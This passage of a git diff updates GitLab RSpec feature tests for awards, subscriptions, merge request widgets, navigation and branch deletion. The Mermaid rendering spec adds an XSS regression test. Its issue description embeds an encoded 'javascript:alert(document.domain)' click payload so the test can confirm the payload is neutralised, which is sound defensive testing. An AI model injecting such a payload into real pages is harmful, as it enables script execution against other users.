expect(page).to have_selector('[data-testid="award-button"]')
- expect(page.find('[data-testid="award-button"].is-active .js-counter')).to have_content('1')
- expect(page).to have_css('[data-testid="award-button"].is-active[title="You"]')
+ expect(page.find('[data-testid="award-button"].selected .js-counter')).to have_content('1')
+ expect(page).to have_css('[data-testid="award-button"].selected[title="You"]')
expect do
- page.find('[data-testid="award-button"].is-active').click
+ page.find('[data-testid="award-button"].selected').click
wait_for_requests
end.to change { page.all('[data-testid="award-button"]').size }.from(3).to(2)
end
@@ -205,7 +205,7 @@ RSpec.describe 'User interacts with awards' do
it 'adds award to issue' do
first('[data-testid="award-button"]').click
- expect(page).to have_selector('[data-testid="award-button"].is-active')
+ expect(page).to have_selector('[data-testid="award-button"].selected')
expect(first('[data-testid="award-button"]')).to have_content '1'
visit project_issue_path(project, issue)
@@ -215,7 +215,7 @@ RSpec.describe 'User interacts with awards' do
it 'removes award from issue' do
first('[data-testid="award-button"]').click
- find('[data-testid="award-button"].is-active').click
+ find('[data-testid="award-button"].selected').click
expect(first('[data-testid="award-button"]')).to have_content '0'
diff --git a/spec/features/issues/user_resets_their_incoming_email_token_spec.rb b/spec/features/issues/user_resets_their_incoming_email_token_spec.rb
index 2b1c25174c2..4580378dc8a 100644
--- a/spec/features/issues/user_resets_their_incoming_email_token_spec.rb
+++ b/spec/features/issues/user_resets_their_incoming_email_token_spec.rb
@@ -16,11 +16,11 @@ RSpec.describe 'Issues > User resets their incoming email token' do
end
it 'changes incoming email address token', :js do
- page.find('[data-testid="issuable-email-modal-btn"]').click
+ click_button 'Email a new issue to this project'
page.within '#issuable-email-modal' do
previous_token = page.find('input[type="text"]').value
- page.find('[data-testid="incoming-email-token-reset"]').click
+ find('[data-testid="reset_email_token_link"]').click
wait_for_requests
diff --git a/spec/features/issues/user_toggles_subscription_spec.rb b/spec/features/issues/user_toggles_subscription_spec.rb
index 35f4b415463..9809bb34d26 100644
--- a/spec/features/issues/user_toggles_subscription_spec.rb
+++ b/spec/features/issues/user_toggles_subscription_spec.rb
@@ -5,35 +5,70 @@ require "spec_helper"
RSpec.describe "User toggles subscription", :js do
let(:project) { create(:project_empty_repo, :public) }
let(:user) { create(:user) }
+ let(:user2) { create(:user) }
let(:issue) { create(:issue, project: project, author: user) }
- before do
- project.add_developer(user)
- sign_in(user)
+ context 'user is not logged in' do
+ before do
+ visit(project_issue_path(project, issue))
+ end
- visit(project_issue_path(project, issue))
+ it 'does not display the Notification toggle' do
+ expect(page).not_to have_button('Notifications')
+ end
end
- it "unsubscribes from issue" do
- subscription_button = find('[data-testid="subscription-toggle"]')
+ context 'user is logged in' do
+ before do
+ project.add_developer(user)
+ sign_in(user)
+
+ visit(project_issue_path(project, issue))
+ end
+
+ it 'unsubscribes from issue' do
+ subscription_button = find('[data-testid="subscription-toggle"]')
+
+ # Check we're subscribed.
+ expect(subscription_button).to have_css("button.is-checked")
+
+ # Toggle subscription.
+ find('[data-testid="subscription-toggle"]').click
+ wait_for_requests
- # Check we're subscribed.
- expect(subscription_button).to have_css("button.is-checked")
+ # Check we're unsubscribed.
+ expect(subscription_button).to have_css("button:not(.is-checked)")
+ end
- # Toggle subscription.
- find('[data-testid="subscription-toggle"]').click
- wait_for_requests
+ context 'when project emails are disabled' do
+ let(:project) { create(:project_empty_repo, :public, emails_disabled: true) }
- # Check we're unsubscribed.
- expect(subscription_button).to have_css("button:not(.is-checked)")
+ it 'is disabled' do
+ expect(page).to have_content('Disabled by project owner')
+ expect(page).to have_button('Notifications', class: 'is-disabled')
+ end
+ end
end
- context 'when project emails are disabled' do
- let(:project) { create(:project_empty_repo, :public, emails_disabled: true) }
+ context 'user is logged in without edit permission' do
+ before do
+ sign_in(user2)
+
+ visit(project_issue_path(project, issue))
+ end
+
+ it 'subscribes to issue' do
+ subscription_button = find('[data-testid="subscription-toggle"]')
+
+ # Check we're not subscribed.
+ expect(subscription_button).to have_css("button:not(.is-checked)")
+
+ # Toggle subscription.
+ find('[data-testid="subscription-toggle"]').click
+ wait_for_requests
- it 'is disabled' do
- expect(page).to have_content('Disabled by project owner')
- expect(page).to have_button('Notifications', class: 'is-disabled')
+ # Check we're subscribed.
+ expect(subscription_button).to have_css("button.is-checked")
end
end
end
diff --git a/spec/features/markdown/mermaid_spec.rb b/spec/features/markdown/mermaid_spec.rb
index 207678e07c3..c4994838d26 100644
--- a/spec/features/markdown/mermaid_spec.rb
+++ b/spec/features/markdown/mermaid_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe 'Mermaid rendering', :js do
+ let_it_be(:project) { create(:project, :public) }
+
it 'renders Mermaid diagrams correctly' do
description = <<~MERMAID
```mermaid
@@ -14,7 +16,6 @@ RSpec.describe 'Mermaid rendering', :js do
```
MERMAID
- project = create(:project, :public)
issue = create(:issue, project: project, description: description)
visit project_issue_path(project, issue)
@@ -36,7 +37,6 @@ RSpec.describe 'Mermaid rendering', :js do
```
MERMAID
- project = create(:project, :public)
issue = create(:issue, project: project, description: description)
visit project_issue_path(project, issue)
@@ -44,10 +44,33 @@ RSpec.describe 'Mermaid rendering', :js do
wait_for_requests
wait_for_mermaid
- expected = '<text style=""><tspan xml:space="preserve" dy="1em" x="1">Line 1</tspan><tspan xml:space="preserve" dy="1em" x="1">Line 2</tspan></text>'
+ # From https://github.com/mermaid-js/mermaid/blob/d3f8f03a7d03a052e1fe0251d5a6d8d1f48d67ee/src/dagre-wrapper/createLabel.js#L79-L82
+ expected = %(<div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; white-space: nowrap;">Line 1<br>Line 2</div>)
expect(page.html.scan(expected).count).to be(4)
end
+ it 'does not allow XSS in HTML labels' do
+ description = <<~MERMAID
+ ```mermaid
+ graph LR;
+ A-->CLICK_HERE_AND_GET_BONUS;
+ click A alert "aaa"
+ click CLICK_HERE_AND_GET_BONUS "javascript:alert%28%64%6f%63%75%6d%65%6e%74%2e%64%6f%6d%61%69%6e%29" "Here is the XSS"
+ ```
+ MERMAID
+
+ issue = create(:issue, project: project, description: description)
+
+ visit project_issue_path(project, issue)
+
+ wait_for_requests
+ wait_for_mermaid
+
+ # From https://github.com/mermaid-js/mermaid/blob/d3f8f03a7d03a052e1fe0251d5a6d8d1f48d67ee/src/dagre-wrapper/createLabel.js#L79-L82
+ expected = %(<div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; white-space: nowrap;">CLICK_HERE_AND_GET_BONUS</div>)
+ expect(page.html).to include(expected)
+ end
+
it 'renders only 2 Mermaid blocks and', quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/234081' do
description = <<~MERMAID
```mermaid
@@ -64,7 +87,6 @@ RSpec.describe 'Mermaid rendering', :js do
```
MERMAID
- project = create(:project, :public)
issue = create(:issue, project: project, description: description)
visit project_issue_path(project, issue)
@@ -94,7 +116,6 @@ RSpec.describe 'Mermaid rendering', :js do
</details>
MERMAID
- project = create(:project, :public)
issue = create(:issue, project: project, description: description)
visit project_issue_path(project, issue)
@@ -108,7 +129,37 @@ RSpec.describe 'Mermaid rendering', :js do
expect(svg[:style]).to match(/max-width/)
expect(svg[:width].to_i).to eq(100)
- expect(svg[:height].to_i).to be_within(5).of(220)
+ expect(svg[:height].to_i).to be_within(5).of(236)
+ end
+ end
+
+ it 'renders V2 state diagrams' do
+ description = <<~MERMAID
+ ```mermaid
+ stateDiagram-v2
+ [*] --> Idle
+ Idle --> Active : CONTINUE
+ state Active {
+ [*] --> Run
+ Run--> Stop: CONTINUE
+ Stop--> Run: CONTINUE
+
+ Run: Run
+ Run: entry/start
+ Run: check
+ }
+ ```
+ MERMAID
+
+ issue = create(:issue, project: project, description: description)
+
+ visit project_issue_path(project, issue)
+
+ wait_for_requests
+ wait_for_mermaid
+
+ page.within('.description') do
+ expect(page).to have_selector('svg')
end
end
@@ -123,7 +174,6 @@ RSpec.describe 'Mermaid rendering', :js do
```
MERMAID
- project = create(:project, :public)
issue = create(:issue, project: project, description: description)
visit project_issue_path(project, issue)
@@ -144,7 +194,6 @@ RSpec.describe 'Mermaid rendering', :js do
```
MERMAID
- project = create(:project, :public)
issue = create(:issue, project: project, description: description)
visit project_issue_path(project, issue)
@@ -183,8 +232,6 @@ RSpec.describe 'Mermaid rendering', :js do
description *= 51
- project = create(:project, :public)
-
issue = create(:issue, project: project, description: description)
visit project_issue_path(project, issue)
@@ -200,6 +247,36 @@ RSpec.describe 'Mermaid rendering', :js do
expect(page).to have_selector('.js-lazy-render-mermaid-container')
end
end
+
+ it 'renders without any limits on wiki page', :js do
+ graph_edges = "A-->B;B-->A;"
+
+ description = <<~MERMAID
+ ```mermaid
+ graph LR
+ #{graph_edges}
+ ```
+ MERMAID
+
+ description *= 51
+
+ project = create(:project, :public)
+
+ wiki_page = build(:wiki_page, { container: project, content: description })
+ wiki_page.create message: 'mermaid test commit' # rubocop:disable Rails/SaveBang
+ wiki_page = project.wiki.find_page(wiki_page.slug)
+
+ visit project_wiki_path(project, wiki_page)
+
+ wait_for_requests
+ wait_for_mermaid
+
+ page.within('.js-wiki-page-content') do
+ expect(page).not_to have_selector('.lazy-alert-shown')
+
+ expect(page).not_to have_selector('.js-lazy-render-mermaid-container')
+ end
+ end
end
def wait_for_mermaid
diff --git a/spec/features/markdown/metrics_spec.rb b/spec/features/markdown/metrics_spec.rb
index 9716c660fa9..f9781f6c702 100644
--- a/spec/features/markdown/metrics_spec.rb
+++ b/spec/features/markdown/metrics_spec.rb
@@ -173,7 +173,7 @@ RSpec.describe 'Metrics rendering', :js, :kubeclient, :use_clean_rails_memory_st
allow(Prometheus::ProxyService).to receive(:new).and_call_original
- create(:clusters_applications_prometheus, :installed, cluster: cluster)
+ create(:clusters_integrations_prometheus, cluster: cluster)
stub_kubeclient_discover(cluster.platform.api_url)
stub_prometheus_request(/prometheus-prometheus-server/, body: prometheus_values_body)
stub_prometheus_request(/prometheus\/api\/v1/, body: prometheus_values_body)
diff --git a/spec/features/merge_request/user_allows_commits_from_memebers_who_can_merge_spec.rb b/spec/features/merge_request/user_allows_commits_from_memebers_who_can_merge_spec.rb
index d36abf86518..75912238501 100644
--- a/spec/features/merge_request/user_allows_commits_from_memebers_who_can_merge_spec.rb
+++ b/spec/features/merge_request/user_allows_commits_from_memebers_who_can_merge_spec.rb
@@ -32,7 +32,7 @@ RSpec.describe 'create a merge request, allowing commits from members who can me
wait_for_requests
- expect(page).to have_content('Allows commits from members who can merge to the target branch')
+ expect(page).to have_content('Members who can merge are allowed to add commits.')
end
it 'shows a message when one of the projects is private', :sidekiq_might_not_need_inline do
@@ -59,7 +59,7 @@ RSpec.describe 'create a merge request, allowing commits from members who can me
visit_new_merge_request
- expect(page).not_to have_content('Allows commits from members who can merge to the target branch')
+ expect(page).not_to have_content('The fork project allows commits from members who can write to the target branch.')
end
end
@@ -81,7 +81,7 @@ RSpec.describe 'create a merge request, allowing commits from members who can me
it 'hides the option from members' do
visit edit_project_merge_request_path(target_project, merge_request)
- expect(page).not_to have_content('Allows commits from members who can merge to the target branch')
+ expect(page).not_to have_content('The fork project allows commits from members who can write to the target branch.')
end
end
end
diff --git a/spec/features/merge_request/user_awards_emoji_spec.rb b/spec/features/merge_request/user_awards_emoji_spec.rb
index 6f46cc20cba..240b8f996c8 100644
--- a/spec/features/merge_request/user_awards_emoji_spec.rb
+++ b/spec/features/merge_request/user_awards_emoji_spec.rb
@@ -18,7 +18,7 @@ RSpec.describe 'Merge request > User awards emoji', :js do
it 'adds award to merge request' do
first('[data-testid="award-button"]').click
- expect(page).to have_selector('[data-testid="award-button"].is-active')
+ expect(page).to have_selector('[data-testid="award-button"].selected')
expect(first('[data-testid="award-button"]')).to have_content '1'
visit project_merge_request_path(project, merge_request)
@@ -27,7 +27,7 @@ RSpec.describe 'Merge request > User awards emoji', :js do
it 'removes award from merge request' do
first('[data-testid="award-button"]').click
- find('[data-testid="award-button"].is-active').click
+ find('[data-testid="award-button"].selected').click
expect(first('[data-testid="award-button"]')).to have_content '0'
visit project_merge_request_path(project, merge_request)
diff --git a/spec/features/merge_request/user_edits_assignees_sidebar_spec.rb b/spec/features/merge_request/user_edits_assignees_sidebar_spec.rb
index 7d55a72c2b1..1087be3d8c6 100644
--- a/spec/features/merge_request/user_edits_assignees_sidebar_spec.rb
+++ b/spec/features/merge_request/user_edits_assignees_sidebar_spec.rb
@@ -68,14 +68,14 @@ RSpec.describe 'Merge request > User edits assignees sidebar', :js do
end
end
- context 'with invite members experiment considerations' do
+ context 'with invite members considerations' do
let_it_be(:user) { create(:user) }
before do
sign_in(user)
end
- include_examples 'issuable invite members experiments' do
+ include_examples 'issuable invite members' do
let(:issuable_path) { project_merge_request_path(project, merge_request) }
end
end
diff --git a/spec/features/merge_request/user_edits_reviewers_sidebar_spec.rb b/spec/features/merge_request/user_edits_reviewers_sidebar_spec.rb
new file mode 100644
index 00000000000..45ee914de9d
--- /dev/null
+++ b/spec/features/merge_request/user_edits_reviewers_sidebar_spec.rb
@@ -0,0 +1,61 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Merge request > User edits reviewers sidebar', :js do
+ context 'with invite members considerations' do
+ let_it_be(:merge_request) { create(:merge_request) }
+ let_it_be(:project) { merge_request.project }
+ let_it_be(:user) { create(:user) }
+
+ before do
+ sign_in(user)
+ end
+
+ context 'when a privileged user can invite in reviewer dropdown' do
+ before do
+ project.add_maintainer(user)
+ end
+
+ it 'shows a link for inviting members and launches invite modal' do
+ visit project_merge_request_path(project, merge_request)
+
+ reviewer_edit_link.click
+
+ wait_for_requests
+
+ page.within '.dropdown-menu-user' do
+ expect(page).to have_link('Invite Members')
+ expect(page).to have_selector('[data-track-event="click_invite_members"]')
+ expect(page).to have_selector('[data-track-label="edit_reviewer"]')
+ end
+
+ click_link 'Invite Members'
+
+ expect(page).to have_content("You're inviting members to the")
+ end
+ end
+
+ context 'when user cannot invite members in reviewer dropdown' do
+ before do
+ project.add_developer(user)
+ end
+
+ it 'shows author in assignee dropdown and no invite link' do
+ visit project_merge_request_path(project, merge_request)
+
+ reviewer_edit_link.click
+
+ wait_for_requests
+
+ page.within '.dropdown-menu-user' do
+ expect(page).not_to have_link('Invite Members')
+ end
+ end
+ end
+
+ def reviewer_edit_link
+ find('.block.reviewer .edit-link')
+ end
+ end
+end
diff --git a/spec/features/merge_request/user_merges_immediately_spec.rb b/spec/features/merge_request/user_merges_immediately_spec.rb
index 64a357de1f7..bca6e6ceba5 100644
--- a/spec/features/merge_request/user_merges_immediately_spec.rb
+++ b/spec/features/merge_request/user_merges_immediately_spec.rb
@@ -36,7 +36,7 @@ RSpec.describe 'Merge requests > User merges immediately', :js do
Sidekiq::Testing.fake! do
click_button 'Merge immediately'
- expect(find('.accept-merge-request.btn-info')).to have_content('Merge in progress')
+ expect(find('.accept-merge-request.btn-confirm')).to have_content('Merge in progress')
wait_for_requests
end
diff --git a/spec/features/merge_request/user_sees_merge_request_pipelines_spec.rb b/spec/features/merge_request/user_sees_merge_request_pipelines_spec.rb
index 85eb956033b..d555519eb43 100644
--- a/spec/features/merge_request/user_sees_merge_request_pipelines_spec.rb
+++ b/spec/features/merge_request/user_sees_merge_request_pipelines_spec.rb
@@ -25,6 +25,8 @@ RSpec.describe 'Merge request > User sees pipelines triggered by merge request',
}
end
+ let_it_be(:runner) { create(:ci_runner, :online) }
+
before do
stub_application_setting(auto_devops_enabled: false)
stub_ci_pipeline_yaml_file(YAML.dump(config))
diff --git a/spec/features/merge_request/user_sees_merge_widget_spec.rb b/spec/features/merge_request/user_sees_merge_widget_spec.rb
index d9b5ec17a4a..a85700fc721 100644
--- a/spec/features/merge_request/user_sees_merge_widget_spec.rb
+++ b/spec/features/merge_request/user_sees_merge_widget_spec.rb
@@ -104,7 +104,7 @@ RSpec.describe 'Merge request > User sees merge widget', :js do
before do
create(:service, project: project,
active: true,
- type: 'CiService',
+ type: 'DroneCiService',
category: 'ci')
visit project_merge_request_path(project, merge_request)
@@ -154,9 +154,9 @@ RSpec.describe 'Merge request > User sees merge widget', :js do
end
it 'shows information about blocked pipeline' do
- expect(page).to have_content("Pipeline blocked")
+ expect(page).to have_content("Merge blocked")
expect(page).to have_content(
- "The pipeline for this merge request requires a manual action")
+ "pipeline must succeed. It's waiting for a manual action to continue.")
expect(page).to have_css('.ci-status-icon-manual')
end
end
@@ -274,10 +274,10 @@ RSpec.describe 'Merge request > User sees merge widget', :js do
visit project_merge_request_path(project, merge_request)
end
- it 'has info button when MWBS button' do
+ it 'has confirm button when MWBS button' do
# Wait for the `ci_status` and `merge_check` requests
wait_for_requests
- expect(page).to have_selector('.accept-merge-request.btn-info')
+ expect(page).to have_selector('.accept-merge-request.btn-confirm')
end
end
@@ -432,7 +432,7 @@ RSpec.describe 'Merge request > User sees merge widget', :js do
it 'user cannot remove source branch', :sidekiq_might_not_need_inline do
expect(page).not_to have_field('remove-source-branch-input')
- expect(page).to have_content('Deletes source branch')
+ expect(page).to have_content('The source branch will be deleted')
end
end
diff --git a/spec/features/merge_request/user_sees_versions_spec.rb b/spec/features/merge_request/user_sees_versions_spec.rb
index 8999c4d6656..34ae082750b 100644
--- a/spec/features/merge_request/user_sees_versions_spec.rb
+++ b/spec/features/merge_request/user_sees_versions_spec.rb
@@ -129,8 +129,8 @@ RSpec.describe 'Merge request > User sees versions', :js do
)
expect(page).to have_content '4 files'
- additions_content = page.find('.diff-stats.is-compare-versions-header .diff-stats-group .js-file-addition-line').text
- deletions_content = page.find('.diff-stats.is-compare-versions-header .diff-stats-group .js-file-deletion-line').text
+ additions_content = page.find('.diff-stats.is-compare-versions-header .diff-stats-group [data-testid="js-file-addition-line"]').text
+ deletions_content = page.find('.diff-stats.is-compare-versions-header .diff-stats-group [data-testid="js-file-deletion-line"]').text
expect(additions_content).to eq '15'
expect(deletions_content).to eq '6'
@@ -152,8 +152,8 @@ RSpec.describe 'Merge request > User sees versions', :js do
end
it 'show diff between new and old version' do
- additions_content = page.find('.diff-stats.is-compare-versions-header .diff-stats-group .js-file-addition-line').text
- deletions_content = page.find('.diff-stats.is-compare-versions-header .diff-stats-group .js-file-deletion-line').text
+ additions_content = page.find('.diff-stats.is-compare-versions-header .diff-stats-group [data-testid="js-file-addition-line"]').text
+ deletions_content = page.find('.diff-stats.is-compare-versions-header .diff-stats-group [data-testid="js-file-deletion-line"]').text
expect(page).to have_content '4 files'
expect(additions_content).to eq '15'
diff --git a/spec/features/merge_request/user_views_diffs_spec.rb b/spec/features/merge_request/user_views_diffs_spec.rb
index a0b3067994c..d5061657c59 100644
--- a/spec/features/merge_request/user_views_diffs_spec.rb
+++ b/spec/features/merge_request/user_views_diffs_spec.rb
@@ -66,6 +66,7 @@ RSpec.describe 'User views diffs', :js do
expect(page).to have_button('Expand all')
click_button 'Expand all'
+ wait_for_requests
expect(page).not_to have_button('Expand all')
end
diff --git a/spec/features/merge_requests/user_exports_as_csv_spec.rb b/spec/features/merge_requests/user_exports_as_csv_spec.rb
index 725b8366d04..351e714b612 100644
--- a/spec/features/merge_requests/user_exports_as_csv_spec.rb
+++ b/spec/features/merge_requests/user_exports_as_csv_spec.rb
@@ -12,15 +12,9 @@ RSpec.describe 'Merge Requests > Exports as CSV', :js do
visit(project_merge_requests_path(project))
end
- subject { page.find('.nav-controls') }
-
- it { is_expected.to have_selector '[data-testid="export-csv-button"]' }
-
context 'button is clicked' do
before do
- page.within('.nav-controls') do
- find('[data-testid="export-csv-button"]').click
- end
+ click_button 'Export as CSV'
end
it 'shows a success message' do
diff --git a/spec/features/nav/top_nav_responsive_spec.rb b/spec/features/nav/top_nav_responsive_spec.rb
new file mode 100644
index 00000000000..dfe3e76f172
--- /dev/null
+++ b/spec/features/nav/top_nav_responsive_spec.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'top nav responsive', :js do
+ include MobileHelpers
+
+ let_it_be(:user) { create(:user) }
+
+ before do
+ stub_feature_flags(combined_menu: true)
+
+ sign_in(user)
+ visit explore_projects_path
+
+ resize_screen_xs
+ end
+
+ context 'before opened' do
+ it 'has page content and hides responsive menu', :aggregate_failures do
+ expect(page).to have_css('.page-title', text: 'Projects')
+ expect(page).to have_link('Dashboard', id: 'logo')
+
+ expect(page).to have_no_css('.top-nav-responsive')
+ end
+ end
+
+ context 'when opened' do
+ before do
+ click_button('Menu')
+ end
+
+ it 'hides everything and shows responsive menu', :aggregate_failures do
+ expect(page).to have_no_css('.page-title', text: 'Projects')
+ expect(page).to have_no_link('Dashboard', id: 'logo')
+
+ within '.top-nav-responsive' do
+ expect(page).to have_link(nil, href: search_path)
+ expect(page).to have_button('Projects')
+ expect(page).to have_button('Groups')
+ expect(page).to have_link('Snippets', href: dashboard_snippets_path)
+ end
+ end
+
+ it 'has new dropdown', :aggregate_failures do
+ click_button('New...')
+
+ expect(page).to have_link('New project', href: new_project_path)
+ expect(page).to have_link('New group', href: new_group_path)
+ expect(page).to have_link('New snippet', href: new_snippet_path)
+ end
+ end
+end
diff --git a/spec/features/profile_spec.rb b/spec/features/profile_spec.rb
index 84ea9495f08..0f453f1c1e5 100644
--- a/spec/features/profile_spec.rb
+++ b/spec/features/profile_spec.rb
@@ -70,7 +70,7 @@ RSpec.describe 'Profile account page', :js do
within('.feed-token-reset') do
previous_token = find("#feed_token").value
- accept_confirm { click_link('reset it') }
+ accept_confirm { find('[data-testid="reset_feed_token_link"]').click }
expect(find('#feed_token').value).not_to eq(previous_token)
end
@@ -89,7 +89,7 @@ RSpec.describe 'Profile account page', :js do
within('.incoming-email-token-reset') do
previous_token = find('#incoming_email_token').value
- accept_confirm { click_link('reset it') }
+ accept_confirm { find('[data-testid="reset_email_token_link"]').click }
expect(find('#incoming_email_token').value).not_to eq(previous_token)
end
diff --git a/spec/features/profiles/personal_access_tokens_spec.rb b/spec/features/profiles/personal_access_tokens_spec.rb
index c85657c89d5..379c25d6002 100644
--- a/spec/features/profiles/personal_access_tokens_spec.rb
+++ b/spec/features/profiles/personal_access_tokens_spec.rb
@@ -22,6 +22,10 @@ RSpec.describe 'Profile > Personal Access Tokens', :js do
find("#feed_token").value
end
+ def feed_token_description
+ "Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
+ end
+
def disallow_personal_access_token_saves!
allow(PersonalAccessTokens::CreateService).to receive(:new).and_return(pat_create_service)
@@ -123,8 +127,9 @@ RSpec.describe 'Profile > Personal Access Tokens', :js do
allow(Gitlab::CurrentSettings).to receive(:disable_feed_token).and_return(false)
visit profile_personal_access_tokens_path
- expect(page).to have_content("Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs.")
expect(feed_token).to eq(user.feed_token)
+
+ expect(page).to have_content(feed_token_description)
end
end
@@ -133,8 +138,8 @@ RSpec.describe 'Profile > Personal Access Tokens', :js do
allow(Gitlab::CurrentSettings).to receive(:disable_feed_token).and_return(true)
visit profile_personal_access_tokens_path
- expect(page).not_to have_content("Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs.")
- expect(page).not_to have_css("#feed_token")
+ expect(page).to have_no_content(feed_token_description)
+ expect(page).to have_no_css("#feed_token")
end
end
end
diff --git a/spec/features/profiles/user_edit_profile_spec.rb b/spec/features/profiles/user_edit_profile_spec.rb
index dddca15ae24..d941988d12f 100644
--- a/spec/features/profiles/user_edit_profile_spec.rb
+++ b/spec/features/profiles/user_edit_profile_spec.rb
@@ -8,6 +8,8 @@ RSpec.describe 'User edit profile' do
let(:user) { create(:user) }
before do
+ stub_feature_flags(improved_emoji_picker: false)
+
sign_in(user)
visit(profile_path)
end
diff --git a/spec/features/profiles/user_search_settings_spec.rb b/spec/features/profiles/user_search_settings_spec.rb
index 64a8556e349..0b05e6c9489 100644
--- a/spec/features/profiles/user_search_settings_spec.rb
+++ b/spec/features/profiles/user_search_settings_spec.rb
@@ -14,7 +14,7 @@ RSpec.describe 'User searches their settings', :js do
visit profile_path
end
- it_behaves_like 'can search settings', 'Public Avatar', 'Main settings'
+ it_behaves_like 'can search settings', 'Public avatar', 'Main settings'
end
context 'in preferences page' do
diff --git a/spec/features/projects/active_tabs_spec.rb b/spec/features/projects/active_tabs_spec.rb
index 96a321037a9..b333f64aa87 100644
--- a/spec/features/projects/active_tabs_spec.rb
+++ b/spec/features/projects/active_tabs_spec.rb
@@ -18,12 +18,11 @@ RSpec.describe 'Project active tab' do
end
context 'on project Home' do
- context 'when feature flag :sidebar_refactor is enabled' do
- before do
- visit project_path(project)
- end
+ it 'activates Project scope menu' do
+ visit project_path(project)
- it_behaves_like 'page has active tab', 'Project'
+ expect(page).to have_selector('.sidebar-top-level-items > li.active', count: 1)
+ expect(find('.sidebar-top-level-items > li.active')).to have_content(project.name)
end
context 'when feature flag :sidebar_refactor is disabled' do
@@ -36,11 +35,23 @@ RSpec.describe 'Project active tab' do
it_behaves_like 'page has active tab', 'Project'
it_behaves_like 'page has active sub tab', 'Details'
end
+ end
- context 'on project Home/Activity' do
+ context 'on Project information' do
+ context 'default link' do
before do
visit project_path(project)
- click_tab('Activity')
+
+ click_link('Project information', match: :first)
+ end
+
+ it_behaves_like 'page has active tab', 'Project'
+ it_behaves_like 'page has active sub tab', 'Activity'
+ end
+
+ context 'on Project information/Activity' do
+ before do
+ visit activity_project_path(project)
end
it_behaves_like 'page has active tab', 'Project'
diff --git a/spec/features/projects/badges/pipeline_badge_spec.rb b/spec/features/projects/badges/pipeline_badge_spec.rb
index bfc924b5d9b..9d8f9872a1a 100644
--- a/spec/features/projects/badges/pipeline_badge_spec.rb
+++ b/spec/features/projects/badges/pipeline_badge_spec.rb
@@ -68,7 +68,7 @@ RSpec.describe 'Pipeline Badge' do
visit pipeline_project_badges_path(project, ref: ref, format: :svg)
expect(page.status_code).to eq(200)
- expect(page.response_headers['Cache-Control']).to include 'no-cache'
+ expect(page.response_headers['Cache-Control']).to eq('no-store')
end
end
diff --git a/spec/features/projects/blobs/blob_show_spec.rb b/spec/features/projects/blobs/blob_show_spec.rb
index 3598aa2f423..595304789a6 100644
--- a/spec/features/projects/blobs/blob_show_spec.rb
+++ b/spec/features/projects/blobs/blob_show_spec.rb
@@ -172,7 +172,7 @@ RSpec.describe 'File blob', :js do
end
end
- context 'sucessfully change ref of similar name' do
+ context 'successfully change ref of similar name' do
before do
project.repository.create_branch('dev')
project.repository.create_branch('development')
@@ -182,14 +182,32 @@ RSpec.describe 'File blob', :js do
visit_blob('files/js/application.js', ref: 'development')
switch_ref_to('dev')
- expect(page.find('.file-title-name').text).to eq('application.js')
+ aggregate_failures do
+ expect(page.find('.file-title-name').text).to eq('application.js')
+ expect(page).not_to have_css('flash-container')
+ end
end
it 'switch ref from shorter to longer ref name' do
visit_blob('files/js/application.js', ref: 'dev')
switch_ref_to('development')
+ aggregate_failures do
+ expect(page.find('.file-title-name').text).to eq('application.js')
+ expect(page).not_to have_css('flash-container')
+ end
+ end
+ end
+
+ it 'successfully changes ref when the ref name matches the project name' do
+ project.repository.create_branch(project.name)
+
+ visit_blob('files/js/application.js', ref: project.name)
+ switch_ref_to('master')
+
+ aggregate_failures do
expect(page.find('.file-title-name').text).to eq('application.js')
+ expect(page).not_to have_css('flash-container')
end
end
end
diff --git a/spec/features/projects/branches/user_deletes_branch_spec.rb b/spec/features/projects/branches/user_deletes_branch_spec.rb
index 53994ec018e..3b8f49accc5 100644
--- a/spec/features/projects/branches/user_deletes_branch_spec.rb
+++ b/spec/features/projects/branches/user_deletes_branch_spec.rb
@@ -12,7 +12,7 @@ RSpec.describe "User deletes branch", :js do
sign_in(user)
end
- it "deletes branch" do
+ it "deletes branch", :js do
visit(project_branches_path(project))
branch_search = find('input[data-testid="branch-search"]')
@@ -21,11 +21,38 @@ RSpec.describe "User deletes branch", :js do
branch_search.native.send_keys(:enter)
page.within(".js-branch-improve\\/awesome") do
- accept_alert { find(".btn-danger").click }
+ find('.js-delete-branch-button').click
+ end
+
+ page.within '.modal-footer' do
+ click_button 'Yes, delete branch'
end
wait_for_requests
- expect(page).to have_css(".js-branch-improve\\/awesome", visible: :hidden)
+ expect(page).to have_content('Branch was deleted')
+ end
+
+ context 'when the feature flag :delete_branch_confirmation_modals is disabled' do
+ before do
+ stub_feature_flags(delete_branch_confirmation_modals: false)
+ end
+
+ it "deletes branch" do
+ visit(project_branches_path(project))
+
+ branch_search = find('input[data-testid="branch-search"]')
+
+ branch_search.set('improve/awesome')
+ branch_search.native.send_keys(:enter)
+
+ page.within(".js-branch-improve\\/awesome") do
+ accept_alert { click_link(title: 'Delete branch') }
+ end
+
+ wait_for_requests
+
+ expect(page).to have_css(".js-branch-improve\\/awesome", visible: :hidden)
+ end
end
end
diff --git a/spec/features/projects/branches/user_views_branches_spec.rb b/spec/features/projects/branches/user_views_branches_spec.rb
index 19d96579785..d0c0a0860d9 100644
--- a/spec/features/projects/branches/user_views_branches_spec.rb
+++ b/spec/features/projects/branches/user_views_branches_spec.rb
@@ -2,7 +2,7 @@
require "spec_helper"
-RSpec.describe "User views branches" do
+RSpec.describe "User views branches", :js do
let_it_be(:project) { create(:project, :repository) }
let_it_be(:user) { project.owner }
@@ -10,9 +10,12 @@ RSpec.describe "User views branches" do
sign_in(user)
end
- context "all branches" do
+ context "all branches", :js do
before do
visit(project_branches_path(project))
+ branch_search = find('input[data-testid="branch-search"]')
+ branch_search.set('master')
+ branch_search.native.send_keys(:enter)
end
it "shows branches" do
@@ -20,6 +23,10 @@ RSpec.describe "User views branches" do
expect(page.all(".graph-side")).to all( have_content(/\d+/) )
end
+
